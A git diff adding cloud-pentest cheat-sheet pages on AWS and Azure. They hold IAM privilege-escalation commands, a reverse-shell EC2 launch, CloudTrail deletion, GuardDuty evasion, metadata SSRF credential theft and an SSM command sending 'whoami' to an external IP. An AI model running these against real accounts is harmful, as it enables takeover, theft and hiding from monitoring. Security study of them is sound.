**ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account. + + ```powershell + # add ssh key + $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456 + # execute a reverse shell + $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh + ``` + +- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account. + + ```powershell + aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py + aws lambda invoke –function-name my_function output.txt + ``` + + Example of code.py + + ```python + import boto3 + def lambda_handler(event, context): + client = boto3.client('iam') + response = client.attach_user_policy( + UserName='my_username', + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" + ) + return response + ``` + +- **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account. + + ```powershell + aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub + ``` + +## References + +- [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/) diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-ioc-detection.md b/personas/_shared/internal-allthethings/cloud/aws/aws-ioc-detection.md new file mode 100644 index 0000000..7091790 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-ioc-detection.md @@ -0,0 +1,37 @@ +# AWS - IOC & Detections + +## CloudTrail + +### Disable CloudTrail + +```powershell +aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator +``` + +Disable monitoring of events from global services + +```powershell +aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event +``` + +Disable Cloud Trail on specific regions + +```powershell +aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west +``` + +## GuardDuty + +### OS User Agent + +:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent. + +Pacu bypass this problem by defining a custom User-Agent: [pacu.py#L1473](https://web.archive.org/web/20201111195614/https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1303) + +```python +boto3_session = boto3.session.Session() +ua = boto3_session._session.user_agent() +if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux + # GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that... + self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...') +``` diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-lambda.md b/personas/_shared/internal-allthethings/cloud/aws/aws-lambda.md new file mode 100644 index 0000000..27a1d24 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-lambda.md @@ -0,0 +1,52 @@ +# AWS - Service - Lambda & API Gateway + +## List Lambda Functions + +```ps1 +aws lambda list-functions +``` + +### Invoke a Lambda Function + +```ps1 +aws lambda invoke --function-name name response.json --region region +``` + +## Extract Function's Code + +```powershell +aws lambda list-functions --profile uploadcreds +aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds +wget -O lambda-function.zip url-from-previous-query --profile uploadcreds +``` + +## List API Gateway + +```ps1 +aws apigateway get-rest-apis +aws apigateway get-rest-api --rest-api-id ID +``` + +## Listing Information About Endpoints + +```ps1 +aws apigateway get-resources --rest-api-id ID +aws apigateway get-resource --rest-api-id ID --resource-id ID +aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method +``` + +## Listing API Keys + +```ps1 +aws apigateway get-api-keys --include-values +``` + +## Getting Information About A Specific Api Key + +```ps1 +aws apigateway get-api-key --api-key KEY +``` + +## References + +* [Getting shell and data access in AWS by chaining vulnerabilities - Appsecco - Riyaz Walikar - Aug 29, 2019](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed) diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-metadata.md b/personas/_shared/internal-allthethings/cloud/aws/aws-metadata.md new file mode 100644 index 0000000..879d760 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-metadata.md @@ -0,0 +1,113 @@ +# AWS - Metadata SSRF + +> AWS released additional security defences against the attack. + +:warning: Only working with IMDSv1. + +Enabling IMDSv2 + +```ps1 +aws ec2 modify-instance-metadata-options --instance-id --profile --http-endpoint enabled --http-token required +``` + +In order to use **IMDSv2** you must provide a token. + +```powershell +export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"` +curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data" +``` + +## Method for Elastic Cloud Compute (EC2) + +Amazon provides an internal service that allows every EC2 instance to query and retrieve metadata about the host. If you discover an SSRF vulnerability running on an EC2 instance, try to fetch the content from 169.254.169.254. + +1. Access the IAM : [http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/) + + ```powershell + ami-id + ami-launch-index + ami-manifest-path + block-device-mapping/ + events/ + hostname + iam/ + identity-credentials/ + instance-action + instance-id + ``` + +2. Find the name of the role assigned to the instance : [http://169.254.169.254/latest/meta-data/iam/security-credentials/](http://169.254.169.254/latest/meta-data/iam/security-credentials/) +3. Extract the role's temporary keys : [http://169.254.169.254/latest/meta-data/iam/security-credentials//](http://169.254.169.254/latest/meta-data/iam/security-credentials//) + + ```powershell + { + "Code" : "Success", + "LastUpdated" : "2019-07-31T23:08:10Z", + "Type" : "AWS-HMAC", + "AccessKeyId" : "ASIAREDACTEDXXXXXXXX", + "SecretAccessKey" : "XXXXXXXXXXXXXXXXXXXXXX", + "Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv", + "Expiration" : "2019-08-01T05:20:30Z" + } + ``` + +## Method for Container Service (Fargate) + +1. Fetch the **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** variable from `https://awesomeapp.com/download?file=/proc/self/environ` + + ```powershell + JAVA_ALPINE_VERSION=8.212.04-r0 + HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root + AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447 + AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2 + ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd + ``` + +2. Use the credential URL to dump the AccessKey and SecretKey : `https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447` + + ```powershell + { + "RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role", + "AccessKeyId": "ASIAXXXXXXXXXX", + "SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt", + "Token": "FQoGZXIvYXdzEMj/////...jHsYXsBQ==", + "Expiration": "2019-09-18T04:05:59Z" + } + ``` + +## AWS API calls that return credentials + +- [chime:createapikey](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonchime.html) +- [codepipeline:pollforjobs](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) +- [cognito-identity:getopenidtoken](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdToken.html) +- [cognito-identity:getopenidtokenfordeveloperidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html) +- [cognito-identity:getcredentialsforidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html) +- [connect:getfederationtoken](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html) +- [connect:getfederationtokens](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html) +- [ecr:getauthorizationtoken](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_GetAuthorizationToken.html) +- [gamelift:requestuploadcredentials](https://docs.aws.amazon.com/gamelift/latest/apireference/API_RequestUploadCredentials.html) +- [iam:createaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html) +- [iam:createloginprofile](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html) +- [iam:createservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html) +- [iam:resetservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ResetServiceSpecificCredential.html) +- [iam:updateaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAccessKey.html) +- [lightsail:getinstanceaccessdetails](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetInstanceAccessDetails.html) +- [lightsail:getrelationaldatabasemasteruserpassword](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetRelationalDatabaseMasterUserPassword.html) +- [rds-db:connect](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) +- [redshift:getclustercredentials](https://docs.aws.amazon.com/redshift/latest/APIReference/API_GetClusterCredentials.html) +- [sso:getrolecredentials](https://docs.aws.amazon.com/singlesignon/latest/PortalAPIReference/API_GetRoleCredentials.html) +- [mediapackage:rotatechannelcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-credentials.html) +- [mediapackage:rotateingestendpointcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-ingest_endpoints-ingest_endpoint_id-credentials.html) +- [sts:assumerole](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role.html) +- [sts:assumerolewithsaml](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-saml.html) +- [sts:assumerolewithwebidentity](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html) +- [sts:getfederationtoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-federation-token.html) +- [sts:getsessiontoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-session-token.html) + +## References + +- [AWS API calls that return credentials - kmcquade](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) +- [Cloud security instance metadata - PumaScan - Eric Johnson - 09 Oct 2019](https://pumascan.com/resources/cloud-security-instance-metadata/) +- [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650) +- [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6) +- [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed) diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-s3-bucket.md b/personas/_shared/internal-allthethings/cloud/aws/aws-s3-bucket.md new file mode 100644 index 0000000..b6926a3 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-s3-bucket.md @@ -0,0 +1,161 @@ +# AWS - Service - S3 Buckets + +An AWS S3 bucket is a cloud-based storage container that holds files, known as objects, which can be accessed over the internet. It is highly scalable and can store large amounts of data, such as documents, images, and backups. S3 provides robust security through access control, encryption, and permissions management. It ensures high durability and availability, making it ideal for storing and retrieving data from anywhere. + +## Tools + +* [aws/aws-cli](https://github.com/aws/aws-cli) - Universal Command Line Interface for Amazon Web Services + + ```ps1 + sudo apt install awscli + ``` + +* [digi.ninja/bucket-finder](https://digi.ninja/projects/bucket_finder.php) - Search for public buckets, list and download all files if directory indexing is enabled + + ```powershell + wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 + ./bucket_finder.rb my_words + ./bucket_finder.rb --region ie my_words + ./bucket_finder.rb --download --region ie my_words + ./bucket_finder.rb --log-file bucket.out my_words + ``` + +* [aws-sdk/boto3](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html) - Amazon Web Services (AWS) SDK for Python + + ```python + import boto3 + s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1') + + try: + result = s3.list_buckets() + print(result) + except Exception as e: + print(e) + ``` + +* [nccgroup/s3_objects_check](https://github.com/nccgroup/s3_objects_check) - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files + + ```powershell + python3 -m venv env && source env/bin/activate + pip install -r requirements.txt + python s3-objects-check.py -h + python s3-objects-check.py -p whitebox-profile -e blackbox-profile + ``` + +* [grayhatwarfare/buckets](https://buckets.grayhatwarfare.com/) - Search Public Buckets + +## Credentials and Profiles + +Create a profile with your `AWSAccessKeyId` and `AWSSecretKey`, then you can use `--profile nameofprofile` in the `aws` command. + +```js +aws configure --profile nameofprofile +AWS Access Key ID [None]: +AWS Secret Access Key [None]: +Default region name [None]: +Default output format [None]: +``` + +Alternatively you can use environment variables instead of creating a profile. + +```bash +export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56 +export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ +export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU= +``` + +## Public S3 Bucket + +An open S3 bucket refers to an Amazon Simple Storage Service (Amazon S3) bucket that has been configured to allow public access, either intentionally or by mistake. This means that anyone on the internet could potentially access, read, or even modify the data stored in the bucket, depending on the permissions set. + +* `http://s3.amazonaws.com/` +* `http://.s3.amazonaws.com` +* `https://.region.amazonaws.com/` + +AWS S3 buckets name examples: [http://flaws.cloud.s3.amazonaws.com](http://flaws.cloud.s3.amazonaws.com). + +Either bruteforce the buckets name with keyword related to your target or search through the leaked one using OSINT tool such as [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/). + +When file listing is enabled, the name is also displayed inside the `` XML tag. + +```xml + +adobe-REDACTED-REDACTED-REDACTED +``` + +## Bucket Interations + +### Find the Region + +To find the region of an Amazon Web Services (AWS) service (such as an S3 bucket) using dig or nslookup, query the DNS records for the service's domain or endpoint. + +```bash +$ dig flaws.cloud +;; ANSWER SECTION: +flaws.cloud. 5 IN A 52.218.192.11 + +$ nslookup 52.218.192.11 +Non-authoritative answer: +11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. +``` + +### List Files + +To list files in an AWS S3 bucket using the AWS CLI, you can use the following command: + +```bash +aws s3 ls [--options] +aws s3 ls s3://bucket-name --no-sign-request --region +aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2 +``` + +### Copy, Upload and Download Files + +* **Copy** + + ```bash + aws s3 cp [--options] + aws s3 cp local.txt s3://bucket-name/remote.txt --acl authenticated-read + aws s3 cp login.html s3://bucket-name --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers + ``` + +* **Upload** + + ```bash + aws s3 mv [--options] + aws s3 mv test.txt s3://hackerone.files + SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt" + ``` + +* **Download** + + ```bash + aws s3 sync [--options] + aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2 + ``` + +### List File Versions + +When versioning is enabled in an AWS S3 bucket, list file history using the AWS CLI: + +```bash +aws s3api list-object-versions --bucket [--options] +aws s3api list-object-versions --bucket --prefix +``` + +### Download a Specific File Version + +```bash +aws s3api get-object --bucket --key --version-id +``` + +## References + +* [There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis](https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets) +* [Bug Bounty Survey - AWS Basic test](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136) +* [flaws.cloud Challenge based on AWS vulnerabilities - Scott Piper - Summit Route](http://flaws.cloud/) +* [flaws2.cloud Challenge based on AWS vulnerabilities - Scott Piper - Summit Route](http://flaws2.cloud) +* [Guardzilla video camera hardcoded AWS credential - INIT_6 - December 27, 2018](https://blackmarble.sh/guardzilla-video-camera-hard-coded-aws-credentials/) +* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/) +* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/) +* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf) diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-ssm.md b/personas/_shared/internal-allthethings/cloud/aws/aws-ssm.md new file mode 100644 index 0000000..0c1a79f --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-ssm.md @@ -0,0 +1,28 @@ +# AWS - Service - SSM + +## Command execution + +:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled. + +SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs): + +* Windows Server 2008-2012 R2 AMIs published in November 2016 or later +* Windows Server 2016 and 2019 +* Amazon Linux +* Amazon Linux 2 +* Ubuntu Server 16.04 +* Ubuntu Server 18.04 +* Amazon ECS-Optimized + +```powershell +$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1 +$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds +$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds + +e.g: +$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1 +``` + +## References + +* [What is AWS Systems Manager? - AWS](https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html) diff --git a/personas/_shared/internal-allthethings/cloud/aws/aws-training.md b/personas/_shared/internal-allthethings/cloud/aws/aws-training.md new file mode 100644 index 0000000..bc80142 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/aws/aws-training.md @@ -0,0 +1,8 @@ +# AWS - Training + +* [bishopfox/CloudFoxable](https://cloudfoxable.bishopfox.com/): A Gamified Cloud Hacking Sandbox +* [ine-labs/AWSGoat](https://github.com/ine-labs/AWSGoat) : A Damn Vulnerable AWS Infrastructure +* [m6a-UdS/dvca](https://github.com/m6a-UdS/dvca) - A demonstration project to show how to do privilege escalation on AWS +* [nccgroup/sadcloud](https://github.com/nccgroup/sadcloud) - A tool for standing up (and tearing down!) purposefully insecure cloud infrastructure +* [0xdabbad00/Flaws](http://flaws.cloud) - Several level of challenges around AWS +* [RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) - "Vulnerable by Design" AWS deployment tool diff --git a/personas/_shared/internal-allthethings/cloud/azure/aka-ms.md b/personas/_shared/internal-allthethings/cloud/azure/aka-ms.md new file mode 100644 index 0000000..f8ec6da --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/aka-ms.md @@ -0,0 +1,102 @@ +# aka.ms Shortcuts + +aka.ms is a URL shortening service used by Microsoft. It is commonly employed to create short, easily shareable links that redirect users to longer or more complex URLs, typically related to Microsoft services, products, or resources. + +## Azure Active Directory - Admins + +|aka.ms|Command|Portal Blade| +|-----|----|---| +|[aka.ms/ad/ca](https://aka.ms/ad/ca)|ca|Conditional Access| +|[aka.ms/ad/cawhatif](https://aka.ms/ad/cawhatif)|cawhatif|Conditional Access What If| +|[aka.ms/ad/pim](https://aka.ms/ad/pim)|pim|Privileged Identity Management| +|[aka.ms/ad/users](https://aka.ms/ad/users)|users|Users| +|[aka.ms/ad/groups](https://aka.ms/ad/groups)|groups|Groups| +|[aka.ms/ad/devices](https://aka.ms/ad/devices)|devices|Devices| +|[aka.ms/ad/apps](https://aka.ms/ad/apps)|apps|Enterprise Applications| +|[aka.ms/ad/appreg](https://aka.ms/ad/appreg)|appreg|Application Registrations| +|[aka.ms/ad/auth](https://aka.ms/ad/auth)|auth|Authentication Methods Policies| +|[aka.ms/ad/legacymfa](https://aka.ms/ad/legacymfa)|legacymfa|Legacy MFA| +|[aka.ms/ad/guests](https://aka.ms/ad/guests)|guests|Guest Access Settings| +|[aka.ms/ad/logs](https://aka.ms/ad/logs)|logs|Sign in Logs| +|[aka.ms/ad/xtap](https://aka.ms/ad/xtap)|xtap|Cross Tenant Access Settings| +|[aka.ms/ad/roles](https://aka.ms/ad/roles)|roles|Azure AD Roles| +|[aka.ms/ad/sspr](https://aka.ms/ad/sspr)|sspr|Password Reset| +|[aka.ms/ad/security](https://aka.ms/ad/security)|security|Security| +|[aka.ms/ad/mfaunblock](https://aka.ms/ad/mfaunblock)|mfaunblock|MFA Unblock| +|[aka.ms/ad/reviews](https://aka.ms/ad/reviews)|reviews|Access Reviews| +|[aka.ms/ad/score](https://aka.ms/ad/score)|score|Secure Score| +|[aka.ms/ad/license](https://aka.ms/ad/license)|license|Licenses| +|[aka.ms/ad/synclog](https://aka.ms/ad/synclog)|synclog|AAD Connect Sync Errors| +|[aka.ms/ad/adfslog](https://aka.ms/ad/adfslog)|adfslog|ADFS Log| +|[aka.ms/ad/consent](https://aka.ms/ad/consent)|consent|Consents and Permissions| +|[aka.ms/ad/support](https://aka.ms/ad/support)|support|Support| +|[aka.ms/ad/list](https://aka.ms/ad/list)|list|List all these shortcuts| + +## Microsoft Admin Portals + +|aka.ms|Command|Page| +|-----|----|---| +|[aka.ms/admin](https://aka.ms/admin)|admin|[M365 Admin Portal](https://admin.microsoft.com)| +|[aka.ms/azad](https://aka.ms/azad)|azad|[Azure AD Portal](https://portal.azure.com)| +|[aka.ms/ge](https://aka.ms/ge)|ge|[Graph Explorer](https://developer.microsoft.com/graph/graph-explorer)| +|[aka.ms/intune](https://aka.ms/intune)|intune|[Intune](https://endpoint.microsoft.com)| +|[aka.ms/ppac](https://aka.ms/ppac)|ppac|[Power Platform](https://admin.powerplatform.microsoft.com/)| + +## Microsoft Intune Portals + +|aka.ms|Command|Page| +|-----|----|---| +|[aka.ms/in](https://aka.ms/in)|in|Intune admin center| +|[aka.ms/intuneshd](https://aka.ms/intuneshd)|intuneshd|Intune service health| +|[aka.ms/intunesupport](https://aka.ms/intunesupport)|support|Get Intune Support| +|[aka.ms/enrollmymac](https://aka.ms/enrollmymac)|enrollmymac|Download the Intune Company Portal for Macs| + +## Microsoft 365 Defender + +|aka.ms|Command|Portal Blade| +|-----|----|---| +|[aka.ms/de](https://aka.ms/de)|de|Microsoft 365 Defender| +|[aka.ms/de/incidents](https://aka.ms/de/incidents)|incidents|Incidents| +|[aka.ms/de/hunting](https://aka.ms/de/hunting)|hunting|Hunting| +|[aka.ms/de/actions](https://aka.ms/de/actions)|actions|Action Center| +|[aka.ms/de/explorer](https://aka.ms/de/explorer)|explorer|Explorer| + +## Microsoft User Portals + +|aka.ms|Page| +|-----|---| +|[aka.ms/sspr](https://aka.ms/sspr)|Self Service Password Reset| +|[aka.ms/mysecurity](https://aka.ms/mysecurity)|My Security| +|[aka.ms/myapps](https://aka.ms/myapps)|My Apps| +|[aka.ms/my-account](https://aka.ms/my-account)|My Account| +|[aka.ms/my-groups](https://aka.ms/my-groups)|My Groups| +|[aka.ms/my-access](https://aka.ms/my-access)|My Access Packages| +|[aka.ms/mystaff](https://aka.ms/mystaff)|My Access Packages| +|[aka.ms/mfasetup](https://aka.ms/mfasetup)|Alternative for My Security| + +## Identity Protection + +|aka.ms|Page| +|-----|---| +|[aka.ms/identityprotection](https://aka.ms/identityprotection)|Identity Protection| + +## Winget (Windows Package Manager) + +|aka.ms|Page| +|-----|---| +|[aka.ms/getwinget](https://aka.ms/getwinget)|Get Winget Installer| +|[aka.ms/winget-docs](https://aka.ms/winget-docs)|Winget Documentation| +|[aka.ms/winget](https://aka.ms/winget)|Winget Packages (Github Repo)| + +## Miscellaneous + +|aka.ms|Page| +|-----|---| +|[aka.ms/entradeprecations](https://aka.ms/entradeprecations)|Entra/Azure AD related retirements/deprecations| +|[aka.ms/entratemplates](https://aka.ms/entratemplates)|Email templates & posters to roll out Azure Active Directory features| +|[aka.ms/Fileshare Migration](https://aka.ms/odsp-mm-fs)|Fileshare Migration Portal| + +## References + +* [microsoft/aka - GitHub - microsoftopensource](https://github.com/microsoft/aka) +* [levid0s/AzurePortals - levid0s - 2019](https://github.com/levid0s/AzurePortals) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-access-and-token.md b/personas/_shared/internal-allthethings/cloud/azure/azure-access-and-token.md new file mode 100644 index 0000000..a8efc79 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-access-and-token.md @@ -0,0 +1,427 @@ +# Azure AD - Access and Tokens + +## Connection + +When you authenticate to the Microsoft Graph API in PowerShell/CLI, you will be using an application from a Microsoft's tenant. + +* [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in) +* [Entra ID First Party Apps & Scope Browser](https://entrascopes.com/) + +| Name | Application ID | +|----------------------------|--------------------------------------| +| Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 | +| Microsoft Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 | +| Portail Azure | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | + +After a successfull authentication, you will get an access token. + +### az cli + +* Login with credentials + + ```ps1 + az login -u -p + az login --service-principal -u -p --tenant + ``` + +* Get token + + ```ps1 + az account get-access-token + az account get-access-token --resource-type aad-graph + ``` + +Whoami equivalent: `az ad signed-in-user show` + +### Azure AD Powershell + +* Login with credentials + + ```ps1 + $passwd = ConvertTo-SecureString "" -AsPlainText -Force + $creds = New-Object System.Management.Automation.PSCredential("test@.onmicrosoft.com", $passwd) + Connect-AzureAD -Credential $creds + ``` + +### Az Powershell + +* Login with credentials + + ```ps1 + $passwd = ConvertTo-SecureString "" -AsPlainText -Force + $creds = New-Object System.Management.Automation.PSCredential ("@.onmicrosoft.com", $passwd) + Connect-AzAccount -Credential $creds + ``` + +* Login with service principal secret + + ```ps1 + $password = ConvertTo-SecureString '' -AsPlainText -Force + $creds = New-Object System.Management.Automation.PSCredential('', $password) + Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d + + ``` + +* Get token + + ```ps1 + (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token + Get-AzAccessToken -ResourceTypeName MSGraph + ``` + +### Microsoft Graph Powershell + +* Login with credentials + + ```ps1 + Connect-MgGraph + Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All" + ``` + +* Login with device code flow + + ```ps1 + Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All" -UseDeviceAuthentication + ``` + +Whoami equivalent: `Get-MgContext` + +### External HTTP API + +* Login with credentials + + ```ps1 + # TODO + ``` + +#### Device Code + +Request a device code + +```ps1 +$body = @{ + "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" + "resource" = "https://graph.microsoft.com" +} +$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" +$Headers=@{} +$Headers["User-Agent"] = $UserAgent +$authResponse = Invoke-RestMethod ` + -UseBasicParsing ` + -Method Post ` + -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` + -Headers $Headers ` + -Body $body +$authResponse +``` + +Go to device login [microsoft.com/devicelogin](https://login.microsoftonline.com/common/oauth2/deviceauth) and input the device code. Then ask for an access token. + +```ps1 +$body=@{ + "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" + "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" + "code" = $authResponse.device_code +} +$Tokens = Invoke-RestMethod ` + -UseBasicParsing ` + -Method Post ` + -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` + -Headers $Headers ` + -Body $body +$Tokens +``` + +#### Service Principal + +* Request an access token using a **service principal password** + + ```ps1 + curl --location --request POST 'https://login.microsoftonline.com//oauth2/v2.0/token' \ + --header 